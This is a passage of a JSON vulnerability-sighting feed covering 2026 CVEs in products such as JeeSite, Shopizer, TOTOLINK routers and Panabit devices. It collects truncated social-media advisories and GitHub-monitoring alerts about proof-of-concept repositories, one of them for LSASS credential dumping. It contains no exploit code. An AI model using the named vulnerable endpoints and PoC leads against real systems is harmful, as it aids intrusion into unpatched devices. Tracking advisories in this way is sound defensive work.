JeeSite v5.15.1 allows authen...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36760/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:47:06.962206Z"}, {"uuid": "8662aac1-b178-42c5-a167-1fa50a224517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36767", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqexlowma2q", "content": "\ud83d\udd34 CVE-2026-36767 - Critical (10)\n\nA path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows atta...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36767/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:47:15.060752Z"}, {"uuid": "f53bae36-107f-4f74-b832-784212f4a295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36340", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqexu2i6z2l", "content": "\ud83d\udfe0 CVE-2026-36340 - High (8.1)\n\nAn issue in Krayin CRM v.2.1.5 and fixed in v.2.1.6 allows a remote attacker to execute arbitrary...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36340/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T19:47:25.147804Z"}, {"uuid": "27755612-0783-4a5f-95fc-cdeb3628f76a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqhooaejg2k", "content": "CVE-2026-36757 - Halo SSRF\nCVE ID : CVE-2026-36757\n \n Published : April 30, 2026, 5:16 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A Server-Side Request Forgery (SSRF) in the /plugins/{name}/upgrade-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan i...", "creation_timestamp": "2026-04-30T20:35:56.520466Z"}, {"uuid": "cd78480c-d5a1-4584-b0b2-09cc3e96c5a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36767", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqi4gdeud2n", "content": "CVE-2026-36767 - Shopizer Path Traversal File Write Vulnerability\nCVE ID : CVE-2026-36767\n \n Published : April 30, 2026, 5:16 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows attackers w...", "creation_timestamp": "2026-04-30T20:43:37.778988Z"}, {"uuid": "e80520dd-1747-492e-8f81-343535987f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36760", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqi7lpp552k", "content": "CVE-2026-36760 - JeeSite File Upload Path Traversal Write Arbitrary Files\nCVE ID : CVE-2026-36760\n \n Published : April 30, 2026, 5:16 p.m. | 3\u00a0hours, 2\u00a0minutes ago\n \n Description : An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authe...", "creation_timestamp": "2026-04-30T20:45:24.126871Z"}, {"uuid": "28bb15a9-6e8e-4334-bc2a-bc45cf220777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36767", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqicxj6fo2c", "content": "CVE-2026-36767 - Shopizer Path Traversal File Write Vulnerability\nCVE ID : CVE-2026-36767\n \n Published : April 30, 2026, 5:16 p.m. | 3\u00a0hours, 2\u00a0minutes ago\n \n Description : A path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows attackers w...", "creation_timestamp": "2026-04-30T20:47:17.158071Z"}, {"uuid": "babf8b0b-2269-4d6b-b886-ff46db0ebe7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36764", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqigkdoqy2h", "content": "CVE-2026-36764 - SpringBlade SSRF Vulnerability\nCVE ID : CVE-2026-36764\n \n Published : April 30, 2026, 5:16 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : A Server-Side Request Forgery (SSRF) in the /ureport/datasource/testConnection endpoint of SpringBlade v4.8.0 allows authe...", "creation_timestamp": "2026-04-30T20:49:17.501639Z"}, {"uuid": "0189ff1c-8fa5-49dd-a8d3-9d7d2b297809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36760", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkqj5bvtaq2p", "content": "CVE-2026-36760 - JeeSite File Upload Path Traversal Write Arbitrary Files\nCVE ID : CVE-2026-36760\n \n Published : April 30, 2026, 5:16 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authe...", "creation_timestamp": "2026-04-30T21:02:00.542701Z"}, {"uuid": "917d9aa0-74e4-46c4-ad0d-062c4df60591", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36837", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqmbwcjls2c", "content": "\ud83d\udfe0 CVE-2026-36837 - High (7.5)\n\nTOTOLINK A3002RU V3 <= V3.0.0-B20220304.1804 was discovered to contain a stack-based buffer ov...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36837/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T21:58:17.667332Z"}, {"uuid": "3864ebaf-e3f3-46a1-8ce5-6faa4e4aa09d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36841", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkqmfplzr52k", "content": "\ud83d\udd34 CVE-2026-36841 - Critical (9.8)\n\nTOTOLINK N200RE V5 was discovered to contain a command injection vulnerability via the macstr and...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36841/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-04-30T22:00:24.834008Z"}, {"uuid": "cc307a84-b7e8-4c04-b2f0-f3591171679a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36340", "type": "seen", "source": "Telegram/XJFCu5UGSlf8LdrBjxjYOz5idEEI2EMesOUI85-NmJpK1tU", "content": "", "creation_timestamp": "2026-04-30T03:00:10.000000Z"}, {"uuid": "c61a6331-df13-470a-9710-51ec4fa7954c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36958", "type": "seen", "source": "Telegram/KspXoTAZwNnyoY0fEBjlny_6gTq9EiPaKDTUOSCE9_4iY-U", "content": "", "creation_timestamp": "2026-04-29T23:00:12.000000Z"}, {"uuid": "255fe247-b6ad-4e0d-8d30-0e0965457efd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36957", "type": "seen", "source": "Telegram/KspXoTAZwNnyoY0fEBjlny_6gTq9EiPaKDTUOSCE9_4iY-U", "content": "", "creation_timestamp": "2026-04-29T23:00:12.000000Z"}, {"uuid": "0c180f07-e97d-4b68-ac88-b75ed4410fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "seen", "source": "https://t.me/GithubRedTeam/82671", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #Remote\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36356\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a totekuh\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 20:58:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Unauthenticated OS Command Injection (RCE as root)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T21:00:41.000000Z"}, {"uuid": "b9406422-7924-4750-a1a3-fac953afb827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "seen", "source": "Telegram/zMIGDiZKcsuCchc0aPmk0dRYccv5m6M1w-Y-ifos8swuOP4", "content": "", "creation_timestamp": "2026-05-03T23:00:13.000000Z"}, {"uuid": "229cc517-1d3e-40c0-8009-08b8907c2408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36355", "type": "seen", "source": "Telegram/xOE6u0S4AhmTrHPBDYscPzMv6FpE3fbyPNbn5dJYZfuDoSw", "content": "", "creation_timestamp": "2026-05-04T03:00:05.000000Z"}, {"uuid": "0e35f3b4-12c3-4839-809d-ba81f9b8a2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "seen", "source": "Telegram/xOE6u0S4AhmTrHPBDYscPzMv6FpE3fbyPNbn5dJYZfuDoSw", "content": "", "creation_timestamp": "2026-05-04T03:00:05.000000Z"}, {"uuid": "4e6f2759-db11-42ce-88b0-b4934d5a662b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3601", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ml3z2g4dqg2o", "content": "CVE-2026-3601 - User Registration & Membership\nCVE ID : CVE-2026-3601\n \n Published : May 5, 2026, 8:27 a.m. | 8\u00a0minutes ago\n \n Description : The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capabili...", "creation_timestamp": "2026-05-05T10:46:01.306290Z"}, {"uuid": "64dadd6f-9099-4996-9460-5651740b3f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36355", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml4unykwus2w", "content": "\ud83d\udfe0 CVE-2026-36355 - High (7.7)\n\nThe rtl8192cd Wi-Fi kernel driver in the Realtek rtl819x Jungle SDK (all known versions through v...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36355/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:00:09.651981Z"}, {"uuid": "a03e3423-4282-4f69-9a74-e3bafa8038e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml4uoaala52f", "content": "\ud83d\udd34 CVE-2026-36356 - Critical (9.1)\n\nThe GoAhead web server on MeiG Smart FORGE_SLT711 devices (firmware MDM9607.LE.1.0-00110-STD.PROD...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36356/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T19:00:17.846880Z"}, {"uuid": "cf195d56-6f45-4f93-ae46-b72deae5c57d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36365", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml53ep5r6g2n", "content": "\ud83d\udfe0 CVE-2026-36365 - High (7.8)\n\nAn issue in Lymphatus caesium-image-compressor All versions up to and including commit 02da2c6 al...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36365/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-05T21:00:14.065460Z"}, {"uuid": "937a781f-16b4-4708-8075-240833eca1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36458", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlbr2jyjvb2k", "content": "CVE-2026-36458 - ChestnutCMS SQL Injection\nCVE ID : CVE-2026-36458\n \n Published : May 7, 2026, 3:16 p.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : ChestnutCMS v1.5.10 has a SQL injection vulnerability. The content parameter of the cms_content tag can be manipulated in the admin...", "creation_timestamp": "2026-05-07T17:38:53.754653Z"}, {"uuid": "848f73d4-9d32-4cdc-b754-5fc0ec2a797e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36980", "type": "seen", "source": "https://t.me/GithubRedTeam/83710", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36980-Kernel-BSOD-DoS-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a canomer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 20:58:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProject Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the pwdrvio.sys kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T21:00:04.000000Z"}, {"uuid": "9e6b302a-d63c-4dc4-b390-0a8e3beb297f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36981", "type": "seen", "source": "Telegram/mGI2CRHqQCjyvA6ju1XF5IWDLp0GZA5_xrkAMw9kytXRmaE", "content": "", "creation_timestamp": "2026-05-11T03:00:06.000000Z"}, {"uuid": "d0316d99-c8c6-49ed-b85b-2182efe5c3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36980", "type": "seen", "source": "Telegram/mGI2CRHqQCjyvA6ju1XF5IWDLp0GZA5_xrkAMw9kytXRmaE", "content": "", "creation_timestamp": "2026-05-11T03:00:06.000000Z"}, {"uuid": "16468358-015b-4357-aca8-ef4280dc6ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36981", "type": "seen", "source": "Telegram/4E6rSRxwI8rbj53U5V5E-Exh2Wml_v2Bw5SwE4GoCs4Wb5U", "content": "", "creation_timestamp": "2026-05-10T23:00:14.000000Z"}, {"uuid": "67f1bdf2-0bde-4c74-8c99-e5ea7f38593e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36980", "type": "seen", "source": "Telegram/4E6rSRxwI8rbj53U5V5E-Exh2Wml_v2Bw5SwE4GoCs4Wb5U", "content": "", "creation_timestamp": "2026-05-10T23:00:14.000000Z"}, {"uuid": "33cb3719-d3ba-41da-b663-e1f3fbc85584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3609", "type": "seen", "source": "https://t.me/GithubRedTeam/83906", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CredsHunter\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BlackSnufkin\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-12 08:39:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-3609 - XIGNCODE3 xhunter1.sys handle leak enabling PPL bypass and LSASS dumping\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-12T09:00:05.000000Z"}, {"uuid": "c4c3c482-bc64-4612-adb7-db44aa971d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3604", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mlpbaeedeb2s", "content": "CVE-2026-3604 wp-seo-structured-data-schema (CVSS Score 4.9) #WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #wordpresssecurity #hacking #wpsecurity #atomicedge", "creation_timestamp": "2026-05-13T02:33:05.796014Z"}, {"uuid": "f6a05535-e084-4f9e-b394-c303c5a0c231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3609", "type": "seen", "source": "Telegram/88YkBdmMMIAUjkN-cy3WAm2Yboedxaf0GfTYOA3KafU0qTc", "content": "", "creation_timestamp": "2026-05-12T15:00:07.000000Z"}, {"uuid": "0b69334c-44cc-40d0-af96-6390677a6d4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3607", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260515", "content": "", "creation_timestamp": "2026-05-14T18:00:00.000000Z"}, {"uuid": "b58727ad-6b90-443b-ad3c-0118eec54d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "seen", "source": "https://t.me/GithubRedTeam/84598", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-3629\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a PySecTools\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 21:51:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Privilege Escalation Checker\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T22:00:04.000000Z"}, {"uuid": "a6c739b1-b920-457d-826d-ff89e79b152f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "seen", "source": "Telegram/ov8QGiF5HqYZ91gUqZ_29zYcNrkRI_UuSFpZu-AKwpbwi6k", "content": "", "creation_timestamp": "2026-05-17T23:00:54.000000Z"}, {"uuid": "6ba74c78-7cdb-486c-a317-8bb4a7e88b70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36438", "type": "seen", "source": "https://t.me/GithubRedTeam/84611", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36438\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kensh1k\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-18 00:53:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains information about the CVE-2026-36438\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-18T01:00:04.000000Z"}, {"uuid": "4a54e4ac-d44e-4628-8e8e-b42c82547d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3637", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mm4hj6o32x2p", "content": "CVE-2026-3637 - Mattermost fails to enforce create_post permission when editing posts\nCVE ID : CVE-2026-3637\n \n Published : May 18, 2026, 6:53 a.m. | 1\u00a0hour, 18\u00a0minutes ago\n \n Description : Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fa...", "creation_timestamp": "2026-05-18T08:30:00.847298Z"}, {"uuid": "df100e06-f384-4447-b24c-ab9d3664b530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36829", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mma3cp2l3s2k", "content": "\ud83d\udd34 CVE-2026-36829 - Critical (9.8)\n\nAn authentication bypass vulnerability exists in the embedded HTTP server of Panabit PAP-XM320 up...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36829/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-19T19:02:17.519206Z"}, {"uuid": "4ed97b42-1370-47f7-b89a-9fd590c3cf5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36829", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mma3cpz45z25", "content": "\ud83d\udd34 CVE-2026-36829 - Critical (9.8)\n\nAn authentication bypass vulnerability exists in the embedded HTTP server of Panabit PAP-XM320 up...\n\nhttps://www.themasherwire.com/vulnerability/CVE-2026-36829/\n\n#infosec #potatosecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-19T19:02:24.121102Z"}, {"uuid": "dd181061-a91e-425f-8751-8aff991bba7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36828", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mma6mmyioo2q", "content": "\ud83d\udfe0 CVE-2026-36828 - High (8.8)\n\nA command injection vulnerability exists in the /cgi-bin/tools/ajax_cmd endpoint of Panabit PAP-X...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36828/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-19T20:01:34.323023Z"}, {"uuid": "b6092ab7-ba16-4d5e-ba79-9514c5c7bdef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36827", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmaah3kxw22p", "content": "CVE-2026-36827 - Panabit PAP-XM320 Command Injection Vulnerability\nCVE ID : CVE-2026-36827\n \n Published : May 19, 2026, 5:16 p.m. | 58\u00a0minutes ago\n \n Description : A command injection vulnerability exists in Panabit PAP-XM320 up to and including V7.7. The web management interf...", "creation_timestamp": "2026-05-19T20:34:13.329261Z"}, {"uuid": "9e3cf88b-3afa-42fb-9a34-316661c8bcfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36829", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmabzbxw642i", "content": "CVE-2026-36829 - Panabit PAP-XM320 Authentication Bypass Vulnerability\nCVE ID : CVE-2026-36829\n \n Published : May 19, 2026, 5:16 p.m. | 58\u00a0minutes ago\n \n Description : An authentication bypass vulnerability exists in the embedded HTTP server of Panabit PAP-XM320 up to and incl...", "creation_timestamp": "2026-05-19T21:02:48.120272Z"}, {"uuid": "aca012a2-a6f5-4c66-892a-cf41a8aa04eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36438", "type": "published-proof-of-concept", "source": "Telegram/x3hQR0-UI2JUxQyjcWHc5kHBpfVh3Jms4Hr2XANxyksqy3E", "content": "", "creation_timestamp": "2026-05-18T09:00:04.000000Z"}, {"uuid": "7fc36972-e541-44fd-bbe3-c58987593746", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3629", "type": "published-proof-of-concept", "source": "Telegram/eEkK6PVbdDfglsyujSuxBWIZjJpDuh84Njq8yhH-Zu1Cfr8", "content": "", "creation_timestamp": "2026-05-18T03:00:06.000000Z"}, {"uuid": "bd41f5d5-07e0-4dd3-ab8d-0b6532c62a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36229", "type": "seen", "source": "https://t.me/GithubRedTeam/85257", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36229\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NullByte8080\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-21 16:12:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": 